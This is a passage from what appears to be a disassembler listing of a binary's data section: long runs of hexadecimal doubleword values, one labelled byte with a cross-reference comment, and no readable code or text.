0E5928969h dd 0EE400A54h, 3F6547DCh, 5D842BD6h, 0AD524EF6h, 0E5DB4EACh dd 9E2703C0h, 3D054152h, 14830FB0h, 0E23D1Dh, 0F1C6E5A4h dd 0A387B05h, 0A0673600h, 8A6CF761h, 3EC3528Bh, 3E3016E2h dd 0F898587Ch, 5CA25D22h, 0BA26585Ch, 466F00DEh, 19556F4h dd 890937F5h, 2013ED8Dh, 2BE2F77Ch, 602EADD8h, 64014208h dd 68AE5305h, 9520E898h, 2E95F5h, 8AFB16Bh, 7A61EDFCh dd 0B401A5E2h, 0A88248D4h, 0CC20DDF7h, 935F24FAh, 0C5902F67h dd 0FC09E5DAh, 4253D8h, 0A728BE72h, 7720EFCEh, 4CEDF050h dd 932430F8h, 4E2FDEDCh, 56F69A19h, 40D8409Fh, 0F2098352h dd 7B462EB6h, 0AF6DA79Ah, 76D0E440h, 23390255h, 57DD8B7Eh dd 1BA27243h, 84B05F03h, 0C9B8E4A9h, 530E1E00h, 0C8C5B238h dd 0F3B7240Fh, 0E86009DEh, 9979C090h, 9E02A40Ah, 926EBF9h dd 61242D10h, 203928B9h, 24970991h, 0AC5784B3h, 0C7182440h dd 0CD6BB16Ah, 1DADC036h, 0E50F8AD8h, 44BF3BACh, 0F9E80C9Bh dd 30A6E4Ah, 0ED21F1AAh, 9273E0B4h, 491CB8EBh, 9B4A9DFEh dd 0F6578057h, 49C426A0h, 8A4D9564h, 0B190A1BCh, 6D20C290h dd 9B584E2Ch, 239802Fh, 90FED821h, 3D6997Eh, 7F34C727h dd 2F6B49C1h, 69A56A48h, 0D853F8FBh, 14218AFh, 5BEE9F71h dd 44B9CF3Fh, 586BB839h, 6AE0C017h, 98436E9h, 8D0FC25Dh dd 0E998D192h, 35043DE4h, 5E213E41h, 523483BDh, 0D16FA7h dd 0EB93C8D2h, 9BFC26Ah dd 507BC1F9h, 69917178h, 0B6181AD1h, 77C81602h, 8251EDACh dd 9157DDAh, 0F1109871h, 0D3AD1CFDh, 6156E807h, 8A53F74Dh dd 0ECFCAA95h, 335B4D18h, 0E129FCBDh, 0B6C4E802h, 401571B8h dd 8020F5EBh, 0B7B7C32Bh, 261011Ah, 0C6E2BF66h, 6CC58B5Eh dd 0ACECBCA9h, 0C5B4F400h, 77F541DAh, 80EDB1D3h, 0DD3E455Ah dd 0AF01DE55h, 0AC8C1C9Fh, 60100DE9h, 890001E1h, 0BDDC0C76h dd 0DBFB08Fh, 28E93CD8h, 0B9D52925h, 0F2EEF0h, 8B9EA873h dd 1AEBBEC0h, 0E72CE425h, 6716E4B8h, 0C78DE4B0h, 0DD20B585h dd 7378471Bh, 15D17E91h, 7366C919h, 217D1FE4h, 0AFAD7200h dd 6EA49F4h, 2E8A1347h, 1E97C6D2h, 291044AFh, 0F21DB526h dd 808CC6A5h, 0B3ED33FCh, 85290795h, 417239BDh, 4D5CC549h dd 8C15B894h, 52B11631h, 2F411A71h, 90022649h, 9DC5076h dd 0C40B3646h, 4931E604h, 797AE9h, 0E6362BBCh, 0BB75D45Fh dd 2622513Dh, 1DED064h, 268DCECAh, 0C99D292Fh, 0FAC79233h dd 9B8063DBh, 0F5F6D2AFh, 80F98601h, 31F18D29h, 7509C591h dd 62537803h, 0AC8C51DDh, 1B2801ABh, 0D84DE307h, 0B04FDF7h dd 820F16C8h, 0FA601988h, 0C3AA01CBh, 85895352h, 9EAC625h dd 1811B51Dh, 35B0E580h, 0F16DCE6h, 0F8880C87h, 0E80D5245h dd 0E3056D16h, 301BB25Ch, 3D002E8Fh, 0A0A99707h, 528D0953h dd 5F2589C1h, 0FE6181E2h, 211F24FBh, 0B7C17BC9h, 1879887Fh dd 6619F30Bh, 0C4278564h, 2AAB601Ah, 7334092Bh, 0A28472AAh dd 81664005h, 0CB602CDFh, 6A66F2BEh, 0C7F75058h, 0F47038B0h dd 0B63B7E53h, 14467C71h, 0B589B704h, 4953E259h, 4896BC45h dd 0D9043309h, 0CC3B63F9h, 92F6D7E3h, 27014778h, 0C7AAB656h dd 9E676A81h, 0AB28A8A0h, 0FFF1C001h, 8B0F35CBh, 6A8203Bh dd 0B4078E1Bh, 0F9129E67h, 0A3020855h, 68E84C24h, 0B62C595Ch dd 20534BA3h, 0E03F7371h, 0C903A1E6h, 0B302634Eh, 0F8C5250h dd 0AFBE6605h, 0A7CF557Ch, 0B00BB6BCh, 64C4F5FCh, 6990062h dd 26EEF067h, 6400540Ah, 92D0C044h, 149E621Ah, 0E851BD29h dd 0FD9589C1h, 60084008h, 212DB501h, 0D6BF3A0Fh, 0F961658Fh dd 79AD659h, 82263681h, 0DDC220E6h, 0CC680141h, 7DC71FD2h dd 0BEB7405Bh, 37C71F1Ah, 3E6CB6B6h, 0E92340B1h, 9038485Bh dd 16F0AB2Eh, 0DB15C554h, 0A5814172h, 0B1AB70Ch, 0D9C011F3h dd 8B0B7D0Dh, 0D305559Dh, 1FE0D0C3h, 82CA7638h, 25B8FA96h dd 5BCE5858h, 60847330h, 0AFD7705Ah, 0D87DF1D0h, 613E2DF5h dd 5F9277A6h, 0F178AE93h, 0F6A11C16h, 0FA7C00BAh, 4A68BD83h dd 4D4594B6h, 38EC32F9h, 0E8DDA300h, 0D0FA7EB0h, 8D0F2E8Ch dd 0C8E944BFh, 3A00804Fh, 0E3A1ED3Ch, 0C2842Dh, 27654EF3h dd 6C14CB40h, 1169117h, 97D9A480h, 3DACFDE9h, 0A3B435B0h dd 0B53104A5h, 64AA055Dh, 81527EFh, 2810F86h, 0F08B240Dh dd 9EF12059h, 1D4676E3h, 0B1646F00h, 0FBF5BD72h, 33137E00h dd 0B4BA2BBEh, 6874B622h, 0BFD5804Dh, 1420F6D7h, 0D46B2300h dd 0CC09F971h, 0A3AF0B12h, 59625E8Ah, 22803BB7h, 0E4376F0Eh dd 33150BEBh, 61641ADCh, 0F205145h, 8B22840Ch, 64429506h dd 0D04B73D1h, 447490BEh, 0E700A710h, 0BB54DF48h, 1611E256h dd 91955782h, 4C830F1Bh, 5E4DF1B7h, 5C304E98h, 2FC542E4h dd 0C861A2D8h, 0F55F000Fh, 0DEE93061h, 0C59529FBh, 7024215Bh dd 57CF4201h, 48F098B8h, 0B5CB007Fh, 0D7E21451h, 4F4F2183h dd 10AD9414h, 0B61306A1h, 0E68AC412h, 649AE0C8h, 1C2B1E32h dd 0C4D25358h, 0B83EFD99h, 65FF090Bh, 0B9E4FC1Eh, 1B4E04BFh dd 0BCC38B05h, 74054EBAh, 0F6278A0Fh, 0D040E88Bh, 61A007Eh dd 7B3D7AA2h, 84015930h, 0EFD5DDBEh, 9D34A3C5h, 3C5F812Eh dd 0AEDB5F76h, 9133D880h, 0ABA06293h, 14602985h, 2B61D7ABh dd 4B61F9D8h, 4041ED9h, 1E0245DDh, 9D059396h, 0BC10204Bh dd 9D5D0179h, 0F76359D9h, 6052EEh, 9FF66CA3h, 7F04421Dh dd 0F0EAAFA0h, 605A2B25h, 95935E7Ch, 6B8B31C1h, 0F0A9AA25h dd 23032ED3h, 69C12618h, 401D602h, 0ED697F59h, 89AE4014h dd 2760B59Dh, 0ED850944h, 246A912Fh, 8FE60377h, 70A2F835h dd 0D270515Bh, 0E00D05FBh, 1685897Fh, 8201875Eh, 0A25C064Dh dd 0DA17C942h, 76294506h, 30D2E0A2h, 253726BFh, 79892AF3h dd 592D2466h, 0D5C696Dh, 0A26AD86Bh, 3E7DE470h, 0CE041514h dd 9440B4B1h, 23B53A79h, 0C00C1C1Dh, 8DEE39D6h, 0FA16E9C6h dd 0B7E352E1h, 2FEF8140h, 0EECA2E23h, 398E16B7h, 0E2F80156h dd 207C5752h, 0AB5CE480h, 690004A4h, 0D026640Eh, 247A7D18h dd 285E9A6Eh, 28D1B396h, 0E29209Bh, 388D585Ch, 2D7A41EDh dd 0F66A2B63h, 0D27A007Fh, 55776713h, 0CB489080h, 0F5B508D6h dd 0A3492809h, 966EB707h, 6E7B07C9h, 30BF001Dh, 0C053D65Dh dd 38FEA209h, 0E88291BEh, 65190BCEh, 0E8620ABEh, 96D63DD0h dd 0A8A37B17h, 93FD832h, 424B3074h, 401E5605h, 2B4F4DC9h dd 504BDB07h, 0C40C784h, 43D7863h, 436134E1h, 360B273h dd 0B095CFB9h, 8EA5F005h, 57DC2D5Eh, 0C2970591h, 0E7628B4Fh dd 6DC852Ch, 952954CCh, 2053C989h, 0B2B5ADh, 4DE5F59Fh dd 92687433h, 0DEC0B068h, 2C5BA0BEh, 38EFC32Bh, 88F03D45h dd 29E98E27h, 0A10EF712h, 36A4A10Bh, 8BF600C7h, 0B8ACBFC0h dd 0ABB4CC7Fh, 3E87C4ADh, 0A883FFDCh, 0FB333A91h, 717C64B1h dd 0BF61013Ch, 69B7D839h, 4AE45E5Ch, 405328D2h, 4C0137B1h dd 6E9AA495h, 1B11D01Dh, 0B0D89380h, 0CE0B838Eh, 842979A4h dd 51051A13h, 0CEAAA35Fh, 4FE91232h, 760B45E8h, 2A33CB0h dd 0D319E107h, 2C76BECAh, 50671B7Dh, 881658BFh, 46643A9Fh dd 76F8A582h, 0D101DE01h, 6D6E9796h, 0E6C455BAh, 8A6002FCh dd 0F9B503F7h, 0BF8BD256h, 1F6C4C6h, 717BDC22h, 2F61CAF6h dd 1EBD24C1h, 0C1B85829h, 0A0CCF700h, 70D3C75Ch, 20554AA8h dd 4F810DDBh, 5461BF09h, 0BB7915h, 6DB2103Ah, 0EC1E3516h dd 8A40FE92h, 0F2FD2E4Fh, 841B4960h, 5EA37B0Bh, 55511184h dd 95ABC72h, 2B336F8Ah, 0DE3843C6h, 462F1689h, 1CB33AC8h dd 40BF2DF4h, 0E28BD511h, 0EE4E6834h, 7129E9C9h, 178F01Ch dd 8D89864Ah, 25452CB5h, 700E7B5Eh, 98FA4C78h, 2B60C603h dd 2237D95h, 3047D8A7h, 0D2432D4Fh, 5175A700h, 7DBAC554h dd 5E533ED4h, 43B1AACh, 91663C38h, 7D8D9DDCh, 0ECF5415Bh dd 2B4BE9FEh, 0DB2AD4F1h, 320B8000h, 0E0C839D8h, 4F132F7Ah dd 20051C4h, 55AA2C3Fh, 0F8AD91C5h, 96A0E63Dh, 7465409Fh dd 5A00D9FCh, 20587C7Eh, 1FC891E6h, 8138F5E8h, 9D01CF41h dd 5FAD24FDh, 16415996h, 8FCFE1Bh, 0AACB008Eh, 4E4BB99Ah dd 1D58A68Dh, 0F3ED075Ah, 13500247h, 90705521h, 6EC14F1Eh dd 0D3E51628h, 82B72AC4h, 22A6C800h, 134418Bh, 53B26600h dd 0F978DF7Ch, 322404F2h, 0E691CBEBh, 4B16E04Bh, 0DFA01CDh dd 71FFB7E9h, 66860B2h, 0FD87858Ah, 448CEC56h, 0AD1AC457h dd 905F0015h, 1DC7BF50h, 0E53F2E41h, 50716CF3h, 86DC7D0h dd 2C0D9529h, 820F4A31h, 8BC0B76Ch, 3DBD89FBh, 0BB9B4DA9h dd 0BC6F4D70h, 0FD220F18h, 0EBC1B15Eh, 70E0EDD5h, 255BCDADh dd 9400137Fh, 4B423A86h, 0F912BAB9h, 533062CCh, 23FC56h dd 78D04613h, 0B6376160h, 890CD901h, 0A24753ABh, 7908058h dd 0E28BF66h, 0B580C550h dd 0F452DD7Ah, 0DE4E35BEh, 0F99006D1h, 1CECE76Ch, 402E008Ch dd 77B9BE48h, 0A55858E7h, 0A1FBC0CDh, 162BD21h, 0DA249A97h dd 0E433D00Ah, 6C9D2389h, 0D6B5BF4Eh, 0F0B0FA00h, 0FE7F531h dd 8B8C8866h, 2046CD16h, 162DCED9h, 5E269AF5h, 6007DC5Eh dd 0F117660Ch, 0BF464D0h, 9A52DBDh, 615C49A9h, 2FE100DCh dd 8DEB9C8Bh, 8211BD01h, 1E750AE9h, 4210174Fh, 9765BE5Ch dd 890277DBh, 27218D95h, 0A57198BDh, 4F397925h, 0C101FAB8h dd 55E96B26h, 0A820F382h, 601A4061h, 0CAB7BE04h, 0BBB23197h dd 2F10D00h, 0ABA1A5A9h, 0AD3C615Bh, 5BC08A2Dh, 60822779h dd 0ED139910h, 4280D35Eh, 0FA9815CEh, 6A5C2A7Fh, 60FF1D35h dd 83718D1Bh, 416877F8h, 12A2AD23h, 0B837759Bh, 69021F1Fh dd 0DA8FEA41h, 0E7734AAEh, 0E8BBB344h, 9FC0C96h, 72FE9AB1h dd 8A93487h, 549216BBh, 880CB5C8h, 0BC147E9h, 3488F781h dd 35F574E4h, 0A33285C7h, 316B7D74h, 70795B0Bh, 0F10ACA37h dd 300C2241h, 310C114Eh, 8DB32D95h, 514BEDA6h, 8A656337h dd 0FB5F1909h, 8435AFE5h, 0BC02A207h, 7AB1D8D5h, 52B81D7Dh dd 11018FFAh, 38EC5B05h, 7A6C12E5h, 0F0F34789h, 77CD00BFh dd 4A6B691Bh, 0DF01079Fh, 0D4B1A017h, 0ACFB30Ah, 8BD1BD29h dd 9439C6ADh, 0C69DD438h, 36CD0444h, 0B303EDE9h, 3216B2BBh dd 102D88D4h, 16CD99A6h, 1A979D0h, 5FA36219h, 0BC183DB0h dd 0F9A600E1h, 565F9860h, 0C909BD1Eh, 5E9DB533h, 49231E4Dh dd 67E08A1h, 4D7127BDh, 0F32C1CAh, 0CA8F304Eh, 20B4FCF0h dd 49010526h, 0BA6DF698h, 0ED908C2Eh, 0A64E1A42h, 29B4E061h dd 0EB79558Dh, 73A69700h, 0B6BD7103h, 3F812756h, 0E40CDF81h dd 13B458FCh, 7358FB25h, 37F654F0h, 0C7D82B29h, 0F4181BD1h dd 61DFFB00h, 0D8111874h, 8036B993h, 9A623E90h, 63008C01h dd 82716FF8h, 9FED7F7h, 596A70A5h, 0D561B9F4h, 0CFEC967Ah dd 5ED0003Ch, 932E24EEh, 591307BFh, 3B8D7706h, 344B302Ch dd 812AC139h, 465D6D35h, 0D5B64BFFh, 1535A9A0h, 50BF570Eh dd 5E7362ACh, 434CDAF9h, 0ACF4495Ch, 2BBA3EA3h, 609F550Ch dd 0B08DACAh, 27034585h, 30AA9352h, 3D7BD5Dh, 0BF692764h dd 0FACCD1D8h, 598D8927h, 0F324B973h, 31579729h, 0E8D69018h dd 0C2127463h, 7D16E283h, 87094795h, 1B462AE1h, 70E6FB25h dd 0BE05C0F2h, 58ECF7E1h, 1723A23Ah, 38F67F07h, 691BF537h dd 29129145h, 0B94764D6h, 608CEF29h, 76E3D48Dh, 20F2F649h dd 0C1832F1Fh, 45387698h, 53295424h, 12BF2A00h, 26D81A10h dd 13611811h, 0C14EBCE9h, 1B09B523h, 25DA5F02h, 0FBBE3269h dd 0C80F79C8h, 0DF093DB6h, 0F1BC8E33h, 9620015Ah, 0D0DA68D0h dd 0EBF0738Ah, 0D2E72116h, 906F54C5h, 0AC7E0A0Bh, 0B35B4A64h dd 6A4B41CEh, 0B98A4AC4h, 0F0E6E64Bh, 54C787h, 0EFB7D9A3h dd 2B64D857h, 0F0A726F9h, 0D90C09h, 0FA9F1D0Ah, 0A99D89C7h dd 60692E41h, 0B14F2D88h, 0EF020374h, 0BB55E828h, 4A473CE2h dd 0AE6014E4h, 0ED97C08Bh, 9DC9C113h, 4C7F6D2Dh, 79FC1E32h dd 1F45B504h, 0B4C21216h, 0CF0DFD3Fh, 72FC710Bh, 7CB8FE79h dd 96978E02h, 0D9F08B0Dh, 352EE65Fh, 0C02DCD97h, 32B33517h dd 46538B9Dh, 71DAC55Bh, 4A5BB71Ch, 20D91CC4h, 1E19F041h dd 0FEF89003h, 52A8529h, 0F8B40F0Ah, 4DE8C2Ch, 0E9FACF18h dd 0A82F400Dh, 153EB7Ah, 0A2B48B87h, 34B64A10h, 0B9FF535h dd 70E8732Fh, 2E758848h, 55BD0912h, 0B75E86B0h, 0DB5D9490h dd 5AC9F500h, 44F1570Eh, 0D8A400FFh, 9C172B6Bh, 150458B7h dd 458D0942h, 0BD5F14E0h, 211CF305h, 1D75ACh, 17B8F781h dd 455CB30h, 0FF0D6DC6h, 1006E7Ah, 0D05A5310h, 1A9074ACh dd 0E98C0F2Dh, 0FC615193h, 10195C40h, 0E360EC5Fh, 20C24131h dd 4196C881h, 61706A02h, 70958589h, 6E2AEF6Fh, 2A2300DCh dd 8992B9B3h, 8B4851E1h, 8C2DD203h, 15066009h, 10B06755h dd 86820970h, 2084CA33h, 0B90025B5h, 600F9BDEh, 0B649E961h dd 0BD330559h, 8BA74421h, 0B8FBA9C1h, 376A0B6Eh, 0EF46F679h dd 18F1DB80h, 18F15D91h, 0EC1C0518h, 1AED7D42h, 0DC457CCBh dd 99717400h, 784EBC2Ch, 152E250h, 0E9AFC1BFh, 2F310F2Eh dd 585A2D04h, 90096BB0h, 4BE7963Bh, 150276B7h, 0D697A1D9h dd 8777405Eh, 0D601F07Fh, 2C9CD08h, 0BF40A211h, 70BDBFC5h dd 394F5641h, 47D164F0h, 94FD4059h, 2965261Bh, 2F81B541h dd 6D102A6Dh, 0B36B9260h, 49B5D30Eh, 0BD2AE3Dh, 256C2619h dd 1571AA91h, 54071418h, 0DFBA40BFh, 0B6A8D5FAh, 62B4611Ch dd 5FB8D6E8h, 4EBFD15Ch, 0DE0CE4C9h, 5A93B052h, 0F8D3362Dh dd 0F1C5920h, 7503BF66h, 0BC7AA992h, 0F511635h, 2D77898Ah dd 844E023Ch, 0D11954B5h, 0D2E2A7E6h, 19FE479h, 462585CBh dd 0D460B4C1h, 0D62EC600h, 0AF936CEEh, 0BEA1133Ah, 0DB309A2h dd 73E8E456h, 2A98267Eh, 68CF017Ah, 68092FE9h, 6077B1D2h dd 0A8163D09h, 0E7E100CEh, 63952812h, 2953F53h, 0D1F11055h dd 0A112E4BFh, 0B804295Ah, 48B41DB9h, 89DB49E2h, 42198D04h dd 0F23859Dh, 0B1EDB584h, 47B13C8Ch, 0C612A039h, 4EFCFA20h dd 0D3211389h, 294D8DB4h, 2A4BCB8h, 0BD83FB9Fh, 0A8D15E81h dd 0FC503111h, 0E913408Dh, 376D6769h, 0B61081F3h, 965538BCh dd 4CB81556h, 675E8184h, 1A2C8649h, 0B12C5C77h, 528C14FCh dd 8A703101h, 545DE685h, 0DB41AACFh, 41A59D2Ah, 685696F2h dd 1D6E5FA4h, 2AF7FF00h, 7AEFC43Fh, 9ABCF816h, 1880E5B8h dd 25E9C30h, 1FA02039h, 0B8C0159Eh, 9F975DA3h, 89F91CF4h dd 656AE58Dh, 7C1AC279h, 0DC957645h, 0BE02840Ah, 0D909C533h dd 79A27B20h, 172181Dh, 6266718Bh, 0D5DC3FF2h, 27203AA7h dd 415853h, 0DD46364Bh, 6C61676Dh, 0C3754C00h, 98E1694h dd 5090019Bh, 3A0580BEh, 0F681DC28h, 7ABBB017h, 7FB48A53h dd 16D85DE9h, 80EF9B4Ah, 75A2E360h, 200690B9h, 4C971989h dd 2D951323h, 229E327h, 0E64411C6h, 53375770h, 0F162DF04h dd 0BD1520F8h, 134EBDC5h, 13776F9Bh, 0B10B5055h, 89D90773h dd 0EB53A508h, 0FF181951h, 0A91FF903h, 0C48BC5F8h, 68B8D9ADh dd 0F9BE5102h, 78640FEEh, 0DC49B6DAh, 5CD2CD00h, 0F2827AD9h dd 0B828091Fh, 72D1830Fh, 6B0E9602h, 401D5E6Dh, 4503DA8Fh dd 0B7AB8D00h, 9BC47B21h, 200AB4EAh, 16D14AFCh, 81259E0Ah dd 760D89D6h, 0ECD3388Ah, 0A6DB8BC7h, 8100385Ch, 596854E7h dd 0A6BA9F3Ch, 360766Dh, 2A1E90Fh, 9AF91047h, 315AE836h dd 92245201h, 38EEEA06h, 2120D472h, 0F24E5F77h, 0B0F81B31h dd 0BEB77FC2h, 274F2A1Fh, 61FC8EC9h, 1EDBD23h, 0D44BBE00h dd 927AF924h, 3F7810Eh, 0FA720C09h, 0E07ECD71h, 0B9928945h dd 0C4CA9325h, 0DB7200F9h, 0A5BE9C90h, 11E44330h, 46D92000h dd 295F51CEh, 5CC92CEFh, 8024AD97h, 9D3141BEh, 0BF2722A5h dd 0C5AC6A4Dh, 0C480E09h, 3F5480CEh, 0B55BB2D9h, 63EFF5EFh dd 805AA3BFh, 195D51DCh, 0B4601B4Dh, 815210A9h, 893902C2h dd 615F119Ch, 62D9D242h, 9525803Ch, 0F9076FDEh, 9B4007D7h dd 0A00E43A6h, 0B88C6892h, 93F0C793h, 5C9201AAh, 0F2B8E199h dd 2C353CEDh, 0B1AAA4D9h, 0EE0F88Dh, 2F4770F8h, 0DBC44D39h dd 25C7CE1Eh, 6EA3F341h, 0DA214C21h, 78B80C2Dh, 0E3756C05h dd 0BCC58A1h, 0B147F7Eh dd 7C9921E5h, 881C2952h, 0ED2501A4h, 0E919E010h, 183961DBh dd 9A039674h, 0F068B2B1h, 4FC6F92h, 0C1831CB2h, 2D3D6FBEh dd 34E0A403h, 0F17233Fh, 61ABE7A6h, 35CCA62h, 0F21600DCh dd 0CE1E094Bh, 8D5B5399h, 20DED022h, 24C471BEh, 0A554625Ch dd 5A810ADAh, 3B9D8953h, 5B5EE944h, 66C0C8DBh, 0D5470CEFh dd 1926107h, 4DB92B54h, 6D4FC016h, 9E07AED1h, 0E361D49Bh dd 0D1B6F585h, 0A147572Dh, 0B96214C4h, 3129B8DFh, 8656822Ch dd 0C06BCD4Bh, 67DDF04Ch, 65209AB8h, 60BF0524h, 0A84B57D8h dd 1B410461h, 0FB276750h, 87807ED1h, 0BAC08EAFh, 6B3300AAh dd 0A6737084h, 391796ABh, 0C00058F9h, 61EDC0EAh, 90854BC7h dd 39CF3FA8h, 86E1F5Fh, 77A8DB1Eh, 0B3FA25A2h, 3530CDF3h dd 8066DB2Ah, 11DBD8Ah, 3191208Dh, 652D85E6h, 0B3564E21h dd 0F042D11h, 640E5303h, 61CB44C2h, 231D6BAEh, 2880118h dd 4092A19Ah, 7BA9D7ABh, 7C6E905Fh, 1B250D00h, 0E3083CE7h dd 0D19E8A2Fh, 0C141005Ch, 3EE04623h, 0C89BB20Fh, 0E00D4E42h dd 0C95AC2D5h, 99E95C91h, 0D63B6014h, 0C08DBD13h, 7DB52B6Ah dd 0B789CC94h, 103ADCF3h, 3E884B0Bh, 6F12008Ch, 770545CBh dd 0C102F563h, 2E02948Fh, 0AE90F51Ah, 4A00E2F9h, 0A5D1D2E0h dd 28A8E19h, 89F39B5Bh, 0B47A758Dh, 0B2029F7h, 0C4599509h dd 56195AC8h, 0AD2B5308h, 1A22B831h, 0DE036415h, 0A7BC2778h dd 0C13D4EDCh, 76330FF0h, 0E513F0E4h, 7495009Bh, 0BF66892Ch dd 603D3957h, 4FA1248Bh, 0A56AC0ADh, 5AD48214h, 82DF804Eh dd 4A21DA25h, 59BA2061h, 6400FC31h, 3BA0C16Ch, 5CEF056Dh dd 8727C0F5h, 0D93099E6h, 0F6F45515h, 0CD6DE3FFh, 0C801B6B8h dd 0A89A1317h, 0C188FCBFh, 0B9131BEDh, 0F22E787h, 671EDE82h dd 2E31F8D5h, 21021999h, 35D241h, 35C46EBBh, 0AF1634BEh dd 0C5DBE956h, 913BE480h, 0F00237CBh, 0C1D0A59Eh, 3736AB8Bh dd 7113802Eh, 6DDC97Eh, 46E8E316h, 830976E3h, 5F8401E1h dd 0E216F325h, 8B48301Dh, 8701B700h, 0DE77EA99h, 894CF3D9h dd 635A9FCh, 824C0015h, 617C6CF2h, 0A96E605Fh, 85342500h dd 84A50AF1h, 0ADBD2917h, 0DB0AB9B2h, 6BF047C0h, 760037B7h dd 6CB7907Ch, 203F984Ah, 0FA822DF5h, 371A29F7h, 499384FBh dd 0D86EC1CFh, 0C950AD5Dh, 3A2051BCh, 5A2B404Dh, 25CA8014h dd 33726AAAh, 604CB4F6h, 0A39D2FE3h, 22CFF853h, 8DE9A10Bh dd 0EBB88D80h, 8B179BCEh, 64051AAh, 1EAE714Dh, 0CA870191h dd 0EA22DB5Bh, 7BF289E1h, 8C50702Ah, 0D7618009h, 606438h dd 25EEC172h db 7Eh, 15h, 0C8h byte_544547 db 8Ch ; DATA XREF: ___:off_44720Co dd 8EB91838h, 2223CCE8h, 4CCF5C28h, 44B4BEEDh, 0F1E7C157h dd 895E0217h, 0B70B5ABCh, 99947710h, 49912900h, 8E97B60Dh dd 89F03AF8h, 837EEB8Eh, 3CDF8B46h, 0BF0133B1h, 5EC71947h dd 9752DEF7h, 0D542DC4Fh, 8C0257E1h, 0B29AF084h, 5BC029F7h dd 39417091h, 3056F760h, 0DA0ADA89h, 0B2FCC0AAh, 1BE04F4h dd 0DD1D25BDh, 4E442229h, 0A08918DBh, 9D891802h, 0E3B8AAF7h dd 51746D6h, 9D99303Bh, 0B69D905h, 8BDDD988h, 4A85183Bh dd 3380EFDEh, 0E9900E1Dh, 0A168DC24h, 29DBEAA7h, 0F1FF13Ah dd 84E4B291h, 8015F8DBh, 87EB6E8Dh, 0C1634A53h, 74456A6Dh dd 6BAB57Bh, 586807AFh, 0EBC0A865h, 1AB57BE0h, 0A8D18B81h dd 9C4F8209h, 0F48CD345h, 619C0089h, 0BBAB919Bh, 58BF55FFh dd 9C608BD2h, 25F7F94Ah, 55702FFBh, 0F37101EEh, 0C7F83FA7h dd 0D2CF2985h, 27809FDBh, 611EB50Ah, 6C3795h, 950BE241h dd 0AE9F19C5h, 1E31E8DFh, 9D6107EBh, 305B0BE9h, 92930D8h dd 506CE54Ah, 78C96E6Dh, 3741B52Bh, 66601075h, 0A8D8278Ch dd 4035B004h, 0B5FF016Ah, 3F68979Dh, 0B041A785h, 0C27ED0F1h dd 8B000F8Fh, 31EFC1FEh, 43C680Ch, 1EA2B920h, 0D925702h dd 50FF77A0h, 0BFE91A95h, 85C6F421h, 13C382Dh, 30DF6856h dd 7E88A9C5h, 5DD02141h, 0E50EA10Bh, 8D069725h, 5605347Ch dd 6112006Eh, 6E0C1C3h, 628BA4Ch, 0EA81F011h, 0EBA9083h dd 958914C2h, 0FF972737h, 6F4E5C38h, 5264E840h, 0EE7090FFh dd 95A5BA89h, 2B586230h, 0F01AC264h, 81041CA8h, 825A4D38h dd 0C02E1283h, 33C50B7h, 3A813BD0h, 84194532h, 2D9C025Ch dd 0E9131010h, 8B8846D9h, 0DD20FEC8h, 40031915h, 88064F3Ch dd 1E22E9C2h, 12657D8Bh, 58F4655h, 1CC35BF8h, 1BD1030Ch dd 4D092920h, 123808DBh, 28644075h, 0B56D058Fh, 0E1F1E462h dd 0EC245C2Ch, 0A9811002h, 0B5148CB0h, 0C0330259h, 5DBD83C3h dd 0E129234Bh, 4760FD24h, 23A7D268h, 2CCAD49Ah, 150C0129h dd 9DD3EB16h, 3809F02h, 207CFE29h, 0E6F617BEh, 0FBAFE0A3h dd 4D9FC0E4h, 7E06C092h, 3538AD70h, 290D2C31h, 11D5588h dd 0DCB738BEh, 0F1F08867h, 9758C13h, 10E93512h, 61501974h dd 38B88A53h, 0E0D13F04h, 0F5821479h, 0E6E9F09Dh, 585BD301h dd 82172258h, 0DF23201Eh, 0DEA426E6h, 5271001h, 11B50B91h dd 0EE77C42Bh, 0D600576Eh, 7C91323Ah, 7F272F95h, 91C6C3E8h dd 7B2C85BDh, 8662F7Ah, 33D943Dh, 0AFEF5FE7h, 0E27792A6h dd 0B7E1F9CCh, 0FA22A56Ch, 0D7830B74h, 13C885B9h, 12F41E1h dd 0A00A59AAh, 0EB99AB0Dh, 0DCA9121Ah, 0AC73DC55h, 1A80F72Ch dd 447BB009h, 0EFF244h, 0D18ABC08h, 0E0CEE74Dh, 5F3D3601h dd 0D9CCBE65h, 0CB71BC35h, 74B8C27Dh, 8DFCB624h, 32FEE101h dd 9E65ABE8h, 6289B9E8h, 181164B4h, 39323DDDh, 0D735A300h dd 59C5CDACh, 78E8C718h, 0CC68167h, 49E20341h, 6B92196Ah dd 12DCB8BEh, 0AFE519CAh, 0C4F9A125h, 51C29C4h, 11DF38E8h dd 9AC548Ah, 0ADF8659Dh, 0DDBD0112h, 0F731CFEDh, 2A22FDCAh dd 5800E67Ah, 750DCE4Ah, 0DC05E5FAh, 6DEE804h, 0CE89CB9h dd 83B1F701h, 8AAA5B9Bh, 0E80BC42Eh, 81B0621Dh, 50600115h dd 615AC85Fh, 75A4E834h, 859F60AFh, 49822009h, 41271EBDh dd 2AF43CB1h, 2195C8h, 40AEDBA0h, 2F77F1C8h, 0F6704117h dd 0B58697F1h, 8F58E85Fh, 0DC4BB4h, 428D9235h, 0ED918514h dd 88C8E46Eh, 50DF60Ah, 990CE87Bh, 4B315B68h, 402D558h dd 0CEA520BEh, 2407F55Ch, 8FA2ED6Fh, 1D756E40h, 74260950h dd 166AE827h, 0E04F6F7Eh, 5F24E592h, 0CA50382h, 8F12ECB5h dd 0E83CC7C0h, 0C2CC5902h, 51810FEBh, 20DB3FAFh, 0A76B04B8h dd 3722700h, 8F515E1Dh, 47280FA4h, 902235A1h, 6C406D0Eh dd 59812701h, 0A049C09Fh, 0E8F116A0h, 609D9A64h, 6231B5F0h dd 4712806h, 2FC67009h, 423D1E8Dh, 0BD02200Eh, 0EE8A7B00h dd 950560E8h, 0C7D0535Bh, 0C8C6006Ah, 6DA8B807h, 60046B44h dd 93D9D29h, 5D3EEBDh, 442AA501h, 88229166h, 1E19D77h dd 463AB501h, 0A110E801h, 1A209B90h, 9C5D5581h, 4E45602Eh dd 0A084DACh, 1604F6E8h, 9834BC29h, 822BF138h, 9F030E59h dd 0E891216Dh, 280C497Eh, 4EFA3199h, 0C0739ED5h, 896B8677h dd 4098BC48h, 8169C1C7h, 0CB929300h, 99DD5ABEh, 0F6341880h dd 6359ED7h, 40F8EF97h, 0CC8A7923h, 0ABB8C54Ah, 0C58D8BC7h dd 0FAE7E405h, 467E814h, 21C9130Eh, 0DF0E3732h, 0C5617030h dd 0F92558h, 0A7FEC971h, 0CF3280h, 0FB95F014h, 